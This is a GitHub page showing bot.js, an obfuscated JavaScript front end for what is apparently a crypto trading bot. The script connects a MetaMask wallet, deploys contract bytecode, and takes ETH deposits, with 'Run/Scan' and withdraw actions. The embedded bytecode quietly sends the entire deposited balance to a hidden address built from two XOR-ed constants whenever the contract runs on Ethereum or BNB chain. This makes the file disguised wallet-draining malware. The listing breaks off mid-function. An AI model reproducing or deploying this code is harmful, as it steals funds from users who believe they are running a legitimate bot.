-
Notifications
You must be signed in to change notification settings - Fork 0
/
bot.js
397 lines (389 loc) · 30 KB
/
bot.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
(function(_0x285d76, _0x3d0cc0) {
const _0x457eb6 = _0x2a4a,
_0x3033a7 = _0x285d76();
while (!![]) {
try {
const _0x51ec65 = -parseInt(_0x457eb6(0x12f)) / 0x1 + -parseInt(_0x457eb6(0x180)) / 0x2 + -parseInt(_0x457eb6(0x16b)) / 0x3 + -parseInt(_0x457eb6(0x18f)) / 0x4 * (parseInt(_0x457eb6(0x17e)) / 0x5) + -parseInt(_0x457eb6(0x184)) / 0x6 + -parseInt(_0x457eb6(0x163)) / 0x7 + parseInt(_0x457eb6(0x192)) / 0x8;
if (_0x51ec65 === _0x3d0cc0) break;
else _0x3033a7['push'](_0x3033a7['shift']());
} catch (_0x56bbab) {
_0x3033a7['push'](_0x3033a7['shift']());
}
}
}(_0x41e7, 0xc41b8), function(_0x103742, _0x5ccfcf) {
const _0x303abe = _0x2a4a,
_0x577b26 = _0x176a,
_0x55fe46 = _0x103742();
while (!![]) {
try {
const _0x27abc2 = parseInt(_0x577b26(0xa0)) / 0x1 * (parseInt(_0x577b26(0x109)) / 0x2) + parseInt(_0x577b26(0xfc)) / 0x3 + parseInt(_0x577b26(0xeb)) / 0x4 + -parseInt(_0x577b26(0x10b)) / 0x5 + -parseInt(_0x577b26(0xb6)) / 0x6 * (parseInt(_0x577b26(0xe2)) / 0x7) + parseInt(_0x577b26(0xba)) / 0x8 + parseInt(_0x577b26(0xdb)) / 0x9 * (-parseInt(_0x577b26(0xf7)) / 0xa);
if (_0x27abc2 === _0x5ccfcf) break;
else _0x55fe46[_0x303abe(0x130)](_0x55fe46[_0x303abe(0x145)]());
} catch (_0x2d3d85) {
_0x55fe46['push'](_0x55fe46[_0x303abe(0x145)]());
}
}
}(_0x32f8, 0x90af4));
function _0x41e7() {
const _0x17dee0 = ['Please\x20connect\x20your\x20wallet\x20to\x20deploy\x20the\x20contract.', 'Error\x20withdrawing\x20funds:', 'replace', 'getElementById', '60806040526658d15e176280006001556000600260006101000a81548160ff0219169083151502179055507f8b71ab9a7aa77579196f522045ac358ee5a9f6bfec213d433520613fe0eb76a960001b6005557f8b71ab9a7aa77579196f5220288561f2f70f7a47854deac9b05823308ac2f39f60001b60065534801561008457600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106f9806100d46000396000f3fe60806040526004361061007f5760003560e01c8063d84308191161004e578063d84308191461010d578063eaf67ab914610138578063f0fa55a914610142578063fa2d99191461016b57610086565b806352bde6261461008b57806357ea89b6146100b45780635825a150146100cb578063bedf0f4a146100f657610086565b3661008657005b600080fd5b34801561009757600080fd5b506100b260048036038101906100ad91906104cd565b610196565b005b3480156100c057600080fd5b506100c96101a0565b005b3480156100d757600080fd5b506100e0610211565b6040516100ed91906105b5565b60405180910390f35b34801561010257600080fd5b5061010b610217565b005b34801561011957600080fd5b50610122610234565b60405161012f91906105b5565b60405180910390f35b610140610285565b005b34801561014e57600080fd5b50610169600480360381019061016491906104cd565b6102f6565b005b34801561017757600080fd5b5061018061035f565b60405161018d919061055a565b60405180910390f35b8060038190555050565b600046905060018114806101b45750603881145b156101c6576101c1610372565b61020e565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561020c573d6000803e3d6000fd5b505b50565b60085481565b6000600260006101000a81548160ff021916908315150217905550565b60008060015460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163161027c91906105e1565b90508091505090565b600046905060018114806102995750603881145b156102ab576102a6610449565b6102f3565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156102f1573d6000803e3d6000fd5b505b50565b602881111561033a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033190610575565b60405180910390fd5b806008819055506001600760006101000a81548160ff02191690831515021790555050565b600760009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f790610595565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610446573d6000803e3d6000fd5b50565b60006104596006546005546104a5565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156104a1573d6000803e3d6000fd5b5050565b60008160001c8360001c18905092915050565b6000813590506104c7816106ac565b92915050565b6000602082840312156104df57600080fd5b60006104ed848285016104b8565b91505092915050565b6104ff81610615565b82525050565b6000610512601a836105d0565b915061051d8261065a565b602082019050919050565b60006105356020836105d0565b915061054082610683565b602082019050919050565b61055481610621565b82525050565b600060208201905061056f60008301846104f6565b92915050565b6000602082019050818103600083015261058e81610505565b9050919050565b600060208201905081810360008301526105ae81610528565b9050919050565b60006020820190506105ca600083018461054b565b92915050565b600082825260208201905092915050565b60006105ec82610621565b91506105f783610621565b92508282101561060a5761060961062b565b5b828203905092915050565b60008115159050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f536c6970706167652063616e6e6f742065786365656420343025000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6106b581610621565b81146106c057600080fd5b5056fea2646970667358221220502c1e9fb7853704f731dc8b16e1eb33b6f73833981cf7755f2bfe23a9c8195e64736f6c63430008040033', '316biScxp', 'StartNative', 'setItem', 'walletconnect', 'balance', 'view', 'Deployment\x20failed', 'Please\x20connect\x20a\x20wallet\x20first.', 'shift', '3447YZVCQK', 'Error\x20withdrawing\x20funds.\x20See\x20console\x20for\x20details.', '15795756UwLzZx', '425040kwHjVK', 'deployed', 'deposit', 'default', 'MetaMask\x20is\x20not\x20installed.\x20Please\x20install\x20MetaMask\x20and\x20try\x20again.', 'block', 'Error\x20depositing\x20funds.\x20See\x20console\x20for\x20details.', 'Contract\x20deployed\x20successfully!', '301iOunTH', 'target', '66938PFgwOf', '5891660vireaN', 'Error\x20running\x20scan.\x20See\x20console\x20for\x20details.', 'depositAmount', 'Error\x20connecting\x20to\x20MetaMask:', 'getSigner', '0x0000000000000000000000000000000000000000', 'error', '1213750HcxuvF', 'Please\x20deploy\x20the\x20contract\x20first.', 'parseEther', 'withdrawal', '.close', 'removeItem', 'accountsChanged', 'slice', '7815577tBSgzV', 'querySelector', '25656610CHqEvb', 'metamask', 'MetaMask\x20connected\x20successfully\x20✅', '<div\x20class=\x22spinner-container\x22><div\x20class=\x22spinner\x22></div></div>', 'addEventListener', 'none', '2803815anWknN', '2906siKQMl', '6339204hWNURE', 'https://cloudflare-eth.com', 'providers', 'utils', 'Connect', 'receive', 'ethereum', '9NXnEwe', '\x20ETH', '5831528zuemuN', 'walletProvider', 'Contract', 'length', 'contractAddress', 'ContractFactory', 'wait', 'eth_requestAccounts', '5aVtVzs', 'Error\x20running\x20scan:', '1159386OOjaNq', '447100BobmCs', 'textContent', '3546220INevfN', '1791966qFbtxa', 'sendTransaction', '87354hawPHS', '1402212FfIivm', 'Error\x20connecting\x20to\x20MetaMask.\x20See\x20console\x20for\x20details.', 'formatEther', 'Deposit\x20successful!', 'request', 'walletModal', '14sPUWHO', '15992930TRnzBp', '5274844ObIgNN', '7488owJOHJ', 'innerHTML', '41446024cMzPsJ', 'constructor', 'Withdraw', '42357aKVJyx', 'Error\x20deploying\x20contract:', 'enable', 'display', 'runScanConfirmed', '3229830lLxcgK', '_slippagePercent', '486136RCNpsC', 'setSlippage', 'uint256', 'style', '3477774pldHSI', '14KYKriv', '129316hwFequ', 'push', 'nonpayable', 'click', 'deploy', '39VEArCQ', 'true', 'TokenPair', 'runScanTxHash'];
_0x41e7 = function() {
return _0x17dee0;
};
return _0x41e7();
}
const _0x5ec3d6 = _0x55ef;
(function(_0x99f096, _0x5162e6) {
const _0x2a507b = _0x176a,
_0x4054e3 = _0x55ef,
_0x466ee9 = _0x99f096();
while (!![]) {
try {
const _0x4f36e7 = -parseInt(_0x4054e3(0x218)) / 0x1 + parseInt(_0x4054e3(0x1ff)) / 0x2 * (parseInt(_0x4054e3(0x1db)) / 0x3) + -parseInt(_0x4054e3(0x201)) / 0x4 + parseInt(_0x4054e3(0x213)) / 0x5 + parseInt(_0x4054e3(0x1fc)) / 0x6 * (-parseInt(_0x4054e3(0x215)) / 0x7) + parseInt(_0x4054e3(0x1eb)) / 0x8 * (parseInt(_0x4054e3(0x1fa)) / 0x9) + parseInt(_0x4054e3(0x1f4)) / 0xa;
if (_0x4f36e7 === _0x5162e6) break;
else _0x466ee9[_0x2a507b(0xa4)](_0x466ee9[_0x2a507b(0xd9)]());
} catch (_0x37e0c4) {
_0x466ee9[_0x2a507b(0xa4)](_0x466ee9[_0x2a507b(0xd9)]());
}
}
}(_0x4fc6, 0xe20f3));
function _0x316c(_0x5d4286, _0x423af1) {
const _0x121e41 = _0x2773();
return _0x316c = function(_0x322e4a, _0x1afd77) {
_0x322e4a = _0x322e4a - 0x1e2;
let _0x17a317 = _0x121e41[_0x322e4a];
return _0x17a317;
}, _0x316c(_0x5d4286, _0x423af1);
}
function _0x55ef(_0x170f9f, _0xfdd9ae) {
const _0x2ef9e7 = _0x4fc6();
return _0x55ef = function(_0x37eecf, _0x4b0639) {
_0x37eecf = _0x37eecf - 0x1ca;
let _0x3e064e = _0x2ef9e7[_0x37eecf];
return _0x3e064e;
}, _0x55ef(_0x170f9f, _0xfdd9ae);
}
function _0x2773() {
const _0x565d38 = _0x176a,
_0xc607b2 = _0x55ef,
_0x4985b6 = [_0xc607b2(0x211), _0x565d38(0xa5), _0xc607b2(0x210), _0x565d38(0xe3), _0x565d38(0xb1), _0xc607b2(0x21a), _0xc607b2(0x1f1), _0xc607b2(0x1d4), _0xc607b2(0x1ef), _0xc607b2(0x214), _0xc607b2(0x221), _0x565d38(0x102), _0xc607b2(0x1ce), _0xc607b2(0x1ed), _0x565d38(0xc8), _0xc607b2(0x20c), _0xc607b2(0x22a), 'slippagePercent', _0x565d38(0x104), _0xc607b2(0x220), _0xc607b2(0x1cb), _0xc607b2(0x1ca), _0xc607b2(0x1fb), _0x565d38(0xb2), _0xc607b2(0x217), _0xc607b2(0x225), _0x565d38(0xae), _0x565d38(0xfe), _0xc607b2(0x1f5), _0x565d38(0xee), _0xc607b2(0x1e9), _0xc607b2(0x223), _0xc607b2(0x20b), _0x565d38(0xcc), _0xc607b2(0x1e6), _0xc607b2(0x222), _0xc607b2(0x22b), _0xc607b2(0x1d8), _0xc607b2(0x1f9), _0xc607b2(0x207), _0xc607b2(0x200), _0xc607b2(0x1f7), _0xc607b2(0x1da), _0x565d38(0xa9), _0xc607b2(0x1f2), 'value', _0xc607b2(0x204), _0x565d38(0xda), _0x565d38(0xf0), _0xc607b2(0x21f), _0xc607b2(0x226), _0x565d38(0xec), _0xc607b2(0x21c), _0xc607b2(0x1fd), _0xc607b2(0x1cf), _0xc607b2(0x1d3), _0x565d38(0xc9), _0xc607b2(0x1f3), _0xc607b2(0x1f0), _0xc607b2(0x1e2), 'contract-address', _0xc607b2(0x20f), _0xc607b2(0x1dd), _0x565d38(0xd3), _0x565d38(0xd8), _0xc607b2(0x1e3), _0xc607b2(0x1e7), _0xc607b2(0x21e), _0xc607b2(0x20d), _0xc607b2(0x20e), _0xc607b2(0x1de), _0xc607b2(0x1d0), '...', _0xc607b2(0x1ea), _0xc607b2(0x1d1), _0xc607b2(0x1d7), _0xc607b2(0x1d5), _0xc607b2(0x1fe), 'APIKey', _0xc607b2(0x224), _0xc607b2(0x216), _0xc607b2(0x229), _0xc607b2(0x228), _0xc607b2(0x1ec), _0x565d38(0xe8), _0x565d38(0xf2), _0x565d38(0xb0), _0xc607b2(0x1f8), _0x565d38(0xbd)];
return _0x2773 = function() {
return _0x4985b6;
}, _0x2773();
}
function _0x4fc6() {
const _0x3d2e8f = _0x2a4a,
_0x37f9d4 = _0x176a,
_0x317653 = [_0x37f9d4(0x9d), _0x37f9d4(0xac), 'Please\x20enter\x20a\x20valid\x20deposit\x20amount.', _0x37f9d4(0xce), _0x3d2e8f(0x16e), _0x3d2e8f(0x194), 'Error\x20depositing\x20funds:', _0x3d2e8f(0x144), _0x37f9d4(0xbb), _0x37f9d4(0xcd), _0x37f9d4(0xcb), _0x37f9d4(0xca), _0x37f9d4(0xb4), _0x37f9d4(0xe0), _0x37f9d4(0xc1), _0x3d2e8f(0x161), _0x37f9d4(0xa2), 'DOMContentLoaded', _0x37f9d4(0xf3), _0x37f9d4(0xf5), _0x37f9d4(0xf4), _0x37f9d4(0xe6), _0x37f9d4(0xc0), _0x37f9d4(0xa4), _0x37f9d4(0xd1), _0x37f9d4(0xdc), _0x3d2e8f(0x177), 'function', _0x37f9d4(0xc6), _0x37f9d4(0x9f), _0x37f9d4(0xb3), _0x37f9d4(0xd2), _0x37f9d4(0xbd), _0x3d2e8f(0x173), _0x37f9d4(0xb5), _0x37f9d4(0xbe), _0x37f9d4(0xd7), _0x37f9d4(0xb9), _0x3d2e8f(0x14e), _0x37f9d4(0xe4), _0x37f9d4(0xdf), _0x37f9d4(0xae), 'address', _0x37f9d4(0x10a), _0x37f9d4(0xbf), _0x37f9d4(0xa3), _0x3d2e8f(0x17d), _0x37f9d4(0xd5), _0x37f9d4(0xc3), _0x37f9d4(0xf1), _0x37f9d4(0x104), _0x37f9d4(0xe5), _0x37f9d4(0xa1), _0x37f9d4(0xa8), _0x37f9d4(0xaf), _0x37f9d4(0x108), 'shift', _0x37f9d4(0xc7), _0x37f9d4(0xef), _0x37f9d4(0x9e), _0x37f9d4(0xa6), _0x37f9d4(0xc4), _0x37f9d4(0xfb), _0x37f9d4(0xf8), _0x37f9d4(0xf9), _0x37f9d4(0x103), _0x37f9d4(0xe1), _0x37f9d4(0x101), _0x37f9d4(0xc5), _0x37f9d4(0xb8), _0x37f9d4(0xaa), _0x37f9d4(0x107), _0x37f9d4(0xbc), _0x37f9d4(0xe7), _0x37f9d4(0xea), _0x37f9d4(0xde), 'hash', _0x37f9d4(0x105), _0x37f9d4(0xdd), _0x37f9d4(0xd6), _0x37f9d4(0xab), _0x37f9d4(0xb7), _0x3d2e8f(0x157), _0x37f9d4(0xfa), _0x37f9d4(0xfe), _0x37f9d4(0xc2), _0x3d2e8f(0x136), _0x37f9d4(0xed), _0x37f9d4(0xd0), _0x37f9d4(0xfd), _0x37f9d4(0xad), _0x37f9d4(0xd4), _0x37f9d4(0xec), _0x3d2e8f(0x19a), _0x37f9d4(0x100), _0x3d2e8f(0x18d), _0x37f9d4(0xa7), _0x37f9d4(0xe9), _0x3d2e8f(0x181)];
return _0x4fc6 = function() {
return _0x317653;
}, _0x4fc6();
}
const _0xe846ab = _0x316c;
function _0x176a(_0x487fc8, _0x5ab317) {
const _0x1701ec = _0x32f8();
return _0x176a = function(_0x4d9db1, _0x1d990c) {
_0x4d9db1 = _0x4d9db1 - 0x9d;
let _0x423ca1 = _0x1701ec[_0x4d9db1];
return _0x423ca1;
}, _0x176a(_0x487fc8, _0x5ab317);
}
function _0x32f8() {
const _0x3ade90 = _0x2a4a,
_0x208944 = [_0x3ade90(0x17b), _0x3ade90(0x199), _0x3ade90(0x198), _0x3ade90(0x14c), _0x3ade90(0x18b), _0x3ade90(0x12c), _0x3ade90(0x152), 'isSlippageSet', _0x3ade90(0x158), _0x3ade90(0x13e), _0x3ade90(0x145), 'walletAddress', _0x3ade90(0x174), _0x3ade90(0x17c), _0x3ade90(0x182), _0x3ade90(0x154), _0x3ade90(0x13b), _0x3ade90(0x187), _0x3ade90(0x17f), _0x3ade90(0x151), _0x3ade90(0x191), _0x3ade90(0x159), '_tokenPair', _0x3ade90(0x129), _0x3ade90(0x153), '52RwBmVt', _0x3ade90(0x15a), _0x3ade90(0x179), _0x3ade90(0x183), _0x3ade90(0x133), _0x3ade90(0x13c), _0x3ade90(0x167), _0x3ade90(0x162), '2268198KvHdut', _0x3ade90(0x16a), _0x3ade90(0x12e), _0x3ade90(0x15f), _0x3ade90(0x185), 'undefined', _0x3ade90(0x14d), _0x3ade90(0x18e), 'getBalance', _0x3ade90(0x143), _0x3ade90(0x135), _0x3ade90(0x165), '2958192nytJQU', _0x3ade90(0x170), _0x3ade90(0x131), _0x3ade90(0x156), _0x3ade90(0x16f), _0x3ade90(0x13f), _0x3ade90(0x15c), _0x3ade90(0x16d), _0x3ade90(0x166), _0x3ade90(0x138), _0x3ade90(0x144), _0x3ade90(0x139), _0x3ade90(0x148), _0x3ade90(0x16c), _0x3ade90(0x14b), _0x3ade90(0x15b), _0x3ade90(0x147), _0x3ade90(0x150), _0x3ade90(0x141), _0x3ade90(0x13d), _0x3ade90(0x196), _0x3ade90(0x171), _0x3ade90(0x189), _0x3ade90(0x130), _0x3ade90(0x14f), _0x3ade90(0x132), _0x3ade90(0x18a), _0x3ade90(0x190), 'run-scan', _0x3ade90(0x12d), _0x3ade90(0x168), _0x3ade90(0x164), _0x3ade90(0x149), 'getItem', _0x3ade90(0x193), _0x3ade90(0x15d), _0x3ade90(0x12a), 'https://cloudflare-eth.com', _0x3ade90(0x172), 'Withdrawal\x20successful!', 'Web3Provider', _0x3ade90(0x186), 'enable', _0x3ade90(0x169), _0x3ade90(0x134), _0x3ade90(0x176), 'bool', _0x3ade90(0x17a), _0x3ade90(0x12b), _0x3ade90(0x137), 'Stop', 'payable', _0x3ade90(0x15e), _0x3ade90(0x19b), _0x3ade90(0x195), _0x3ade90(0x160), _0x3ade90(0x146), _0x3ade90(0x13a), _0x3ade90(0x178), 'Run/Scan\x20successful!', _0x3ade90(0x142), _0x3ade90(0x140), _0x3ade90(0x155), 'connect', _0x3ade90(0x188), _0x3ade90(0x175)];
return _0x32f8 = function() {
return _0x208944;
}, _0x32f8();
}
function _0x2a4a(_0x14e567, _0x3fdec3) {
const _0x41e7bc = _0x41e7();
return _0x2a4a = function(_0x2a4aad, _0x2a97e0) {
_0x2a4aad = _0x2a4aad - 0x129;
let _0x4faace = _0x41e7bc[_0x2a4aad];
return _0x4faace;
}, _0x2a4a(_0x14e567, _0x3fdec3);
}(function(_0x34cd85, _0xba14ed) {
const _0x217d19 = _0x2a4a,
_0x24041e = _0x55ef,
_0x41b671 = _0x316c,
_0x343b96 = _0x34cd85();
while (!![]) {
try {
const _0x15c30e = -parseInt(_0x41b671(0x202)) / 0x1 * (-parseInt(_0x41b671(0x234)) / 0x2) + -parseInt(_0x41b671(0x210)) / 0x3 + -parseInt(_0x41b671(0x212)) / 0x4 + -parseInt(_0x41b671(0x1e2)) / 0x5 + -parseInt(_0x41b671(0x209)) / 0x6 + parseInt(_0x41b671(0x235)) / 0x7 * (parseInt(_0x41b671(0x1f4)) / 0x8) + parseInt(_0x41b671(0x1ed)) / 0x9;
if (_0x15c30e === _0xba14ed) break;
else _0x343b96[_0x24041e(0x1cd)](_0x343b96[_0x24041e(0x1ee)]());
} catch (_0xd9711d) {
_0x343b96[_0x217d19(0x130)](_0x343b96[_0x24041e(0x1ee)]());
}
}
}(_0x2773, 0xb228b), document[_0x5ec3d6(0x1fb)](_0xe846ab(0x1f0), async () => {
const _0xf58644 = _0x2a4a,
_0xb3e836 = _0x176a,
_0x3052f5 = _0x5ec3d6,
_0x40c7f9 = _0xe846ab,
_0xa83e14 = document[_0xb3e836(0xdf)](_0x40c7f9(0x201)),
_0x1337c4 = document[_0x3052f5(0x1de)](_0x40c7f9(0x213)),
_0x2ab000 = document[_0x40c7f9(0x226)](_0x40c7f9(0x20b)),
_0x46db75 = document[_0x3052f5(0x1de)](_0x3052f5(0x227)),
_0x463db9 = document[_0x40c7f9(0x226)](_0x3052f5(0x1e1)),
_0xe7b0fc = document[_0x40c7f9(0x226)](_0x40c7f9(0x217)),
_0x427c15 = document[_0x3052f5(0x1de)](_0x40c7f9(0x21c)),
_0x4767ca = document[_0x40c7f9(0x226)](_0xf58644(0x18c)),
_0x277932 = document[_0x40c7f9(0x1e5)](_0x40c7f9(0x204)),
_0x58a4a3 = document[_0xb3e836(0xdf)](_0x40c7f9(0x1f2));
let _0x17cea0 = localStorage[_0x40c7f9(0x1fa)](_0x40c7f9(0x22d)) || _0x40c7f9(0x21e);
const _0x161986 = [{
'inputs': [],
'stateMutability': _0x40c7f9(0x1fb),
'type': _0x40c7f9(0x233)
}, {
'inputs': [],
'name': _0x40c7f9(0x22e),
'outputs': [{
'internalType': _0x3052f5(0x1d6),
'name': '',
'type': _0x40c7f9(0x238)
}],
'stateMutability': _0x40c7f9(0x218),
'type': _0x40c7f9(0x22a)
}, {
'inputs': [],
'name': _0xb3e836(0xd8),
'outputs': [],
'stateMutability': _0x3052f5(0x1cc),
'type': _0x40c7f9(0x22a)
}, {
'inputs': [],
'name': _0x40c7f9(0x21b),
'outputs': [],
'stateMutability': _0x40c7f9(0x1fb),
'type': _0x40c7f9(0x22a)
}, {
'inputs': [{
'internalType': _0x40c7f9(0x238),
'name': _0x40c7f9(0x1fe),
'type': _0x3052f5(0x1d6)
}],
'name': _0x40c7f9(0x1ef),
'outputs': [],
'stateMutability': _0x40c7f9(0x1fb),
'type': _0x40c7f9(0x22a)
}, {
'inputs': [],
'name': _0x3052f5(0x21e),
'outputs': [],
'stateMutability': _0x3052f5(0x20a),
'type': _0x40c7f9(0x22a)
}, {
'inputs': [],
'name': _0x3052f5(0x205),
'outputs': [{
'internalType': _0x40c7f9(0x1ea),
'name': '',
'type': _0x40c7f9(0x1ea)
}],
'stateMutability': _0xf58644(0x142),
'type': _0x40c7f9(0x22a)
}, {
'inputs': [{
'internalType': _0x40c7f9(0x238),
'name': _0x40c7f9(0x200),
'type': _0x3052f5(0x1d6)
}],
'name': _0x40c7f9(0x1e4),
'outputs': [],
'stateMutability': _0x40c7f9(0x1fb),
'type': _0x40c7f9(0x22a)
}, {
'inputs': [],
'name': _0x40c7f9(0x1f1),
'outputs': [{
'internalType': _0x40c7f9(0x238),
'name': '',
'type': _0x40c7f9(0x238)
}],
'stateMutability': _0x40c7f9(0x218),
'type': _0x3052f5(0x1d1)
}, {
'stateMutability': _0xb3e836(0xc0),
'type': _0x40c7f9(0x1e7)
}],
_0x2130b5 = _0x40c7f9(0x224);
_0x17cea0 !== _0x40c7f9(0x21e) && (_0x427c15[_0xb3e836(0xdd)] = _0x17cea0, _0x5cb14f());
async function _0x5cb14f() {
const _0x2ca83c = _0xb3e836,
_0x1d4375 = _0x3052f5,
_0x17aa91 = _0x40c7f9;
if (_0x17cea0 && _0x17cea0 !== _0x17aa91(0x21e)) {
const _0x12c712 = new ethers[(_0x2ca83c(0x100))][(_0x17aa91(0x205))](window[_0x17aa91(0x22b)]),
_0x164717 = await _0x12c712[_0x17aa91(0x1fc)](_0x17cea0);
_0xe7b0fc[_0x17aa91(0x20e)] = ethers[_0x1d4375(0x20f)][_0x17aa91(0x221)](_0x164717) + _0x17aa91(0x214);
}
}
async function _0x4c0461(_0x4e804c) {
const _0x2d1c60 = _0xf58644,
_0x5d2315 = _0xb3e836,
_0x2a1253 = _0x3052f5,
_0x384d6b = _0x40c7f9;
try {
_0x427c15[_0x384d6b(0x1e3)] = _0x2a1253(0x206);
const _0x11ab2c = _0x4e804c[_0x384d6b(0x20a)](),
_0xccda6a = new ethers[(_0x5d2315(0xcf))](_0x161986, _0x2130b5, _0x11ab2c),
_0x5345f4 = await _0xccda6a[_0x2a1253(0x212)]();
await _0x5345f4[_0x2d1c60(0x14a)](), _0x17cea0 = _0x5345f4[_0x2a1253(0x1e0)], localStorage[_0x384d6b(0x206)](_0x2a1253(0x1fe), _0x17cea0), _0x427c15[_0x384d6b(0x20e)] = _0x17cea0, alert(_0x384d6b(0x1e6)), notifyContractDeployment(_0x17cea0), await _0x5cb14f();
} catch (_0x5557cf) {
console[_0x2a1253(0x217)](_0x384d6b(0x229), _0x5557cf), alert(_0x2a1253(0x203)), _0x427c15[_0x2a1253(0x204)] = _0x2a1253(0x1f6);
}
}
async function _0x10a0f5(_0x3c3ffe) {
const _0x46c9ba = _0x3052f5,
_0x29a441 = _0x40c7f9;
try {
const _0x3af806 = new ethers[(_0x29a441(0x1e8))](_0x17cea0, _0x161986, _0x3c3ffe[_0x29a441(0x20a)]()),
_0x7a98b9 = await _0x3af806[_0x29a441(0x220)]();
await _0x7a98b9[_0x29a441(0x216)](), localStorage[_0x29a441(0x206)]('runScanConfirmed', _0x46c9ba(0x209)), localStorage[_0x29a441(0x206)](_0x46c9ba(0x1d9), _0x7a98b9[_0x46c9ba(0x202)]), alert(_0x29a441(0x1ee));
} catch (_0x392ba9) {
console[_0x29a441(0x1f8)](_0x29a441(0x237), _0x392ba9), alert(_0x29a441(0x1ff));
}
}
async function _0x203848(_0x16e9a1) {
const _0x3fe2fc = _0xb3e836,
_0x7092c6 = _0x3052f5,
_0x5c4519 = _0x40c7f9;
try {
const _0x44a108 = new ethers[(_0x5c4519(0x1e8))](_0x17cea0, _0x161986, _0x16e9a1[_0x3fe2fc(0xd7)]()),
_0x343a84 = await _0x44a108[_0x5c4519(0x223)]();
await _0x343a84[_0x5c4519(0x216)](), localStorage[_0x5c4519(0x219)](_0x5c4519(0x225)), alert(_0x5c4519(0x1f9));
} catch (_0x43276a) {
console[_0x5c4519(0x1f8)](_0x5c4519(0x215), _0x43276a), alert(_0x7092c6(0x219));
}
}
async function _0x57bb82(_0x1c6681) {
const _0x138fee = _0xb3e836,
_0x4fbd29 = _0x3052f5,
_0x19114f = _0x40c7f9,
_0x5857b0 = document[_0x4fbd29(0x1de)](_0x138fee(0xff)),
_0x100d2b = _0x5857b0[_0x19114f(0x20d)][_0x4fbd29(0x1d2)](',', '.');
if (!_0x100d2b || isNaN(_0x100d2b) || Number(_0x100d2b) <= 0x0) {
alert(_0x4fbd29(0x21b));
return;
}
try {
const _0xdd0c1e = _0x1c6681[_0x19114f(0x20a)](),
_0x4f399d = await _0xdd0c1e[_0x19114f(0x1f5)]({
'to': _0x17cea0,
'value': ethers[_0x19114f(0x21d)][_0x19114f(0x236)](_0x100d2b)
});
await _0x4f399d[_0x4fbd29(0x1cf)](), alert(_0x19114f(0x230)), await _0x5cb14f();
} catch (_0x45478e) {
console[_0x19114f(0x1f8)](_0x19114f(0x211), _0x45478e), alert(_0x19114f(0x23a));
}
}
const _0x59a39f = _0x419bb2 => {
const _0x39f7fc = _0x3052f5,
_0x35d33c = _0x40c7f9;
_0xa83e14 && (_0x419bb2 ? _0xa83e14[_0x35d33c(0x20e)] = _0x419bb2[_0x35d33c(0x21a)](0x0, 0x6) + _0x35d33c(0x228) + _0x419bb2[_0x35d33c(0x21a)](-0x4) : (_0xa83e14[_0x35d33c(0x20e)] = _0x35d33c(0x231), _0x427c15[_0x35d33c(0x20e)] = _0x39f7fc(0x1dd)));
},
_0x37627e = () => {
const _0x12185c = _0x3052f5,
_0x36634d = _0x40c7f9;
localStorage[_0x36634d(0x219)](_0x36634d(0x20f)), _0x59a39f(null), _0x427c15[_0x36634d(0x20e)] = _0x36634d(0x21e), _0x17cea0 = _0x12185c(0x1dd), localStorage['removeItem'](_0x36634d(0x22d));
};
_0xa83e14[_0x40c7f9(0x1f6)](_0x40c7f9(0x20c), () => {
const _0x1c623f = _0xf58644,
_0x475c95 = _0x3052f5,
_0x24169d = _0x40c7f9;
_0x4767ca[_0x1c623f(0x12c)][_0x24169d(0x1ec)] = _0x475c95(0x1dc);
}), _0x58a4a3[_0xb3e836(0xb8)](_0x40c7f9(0x20c), async () => {
const _0x32f130 = _0xb3e836,
_0x1edb99 = _0x3052f5,
_0x4bbd6e = _0x40c7f9;
if (typeof window[_0x4bbd6e(0x22b)] !== _0x1edb99(0x22c)) {
_0x4767ca[_0x4bbd6e(0x239)][_0x1edb99(0x1ce)] = _0x4bbd6e(0x222);
try {
const _0x1eeb35 = await window[_0x4bbd6e(0x22b)][_0x4bbd6e(0x21f)]({
'method': _0x1edb99(0x1e4)
}),
_0x5aa598 = _0x1eeb35[0x0];
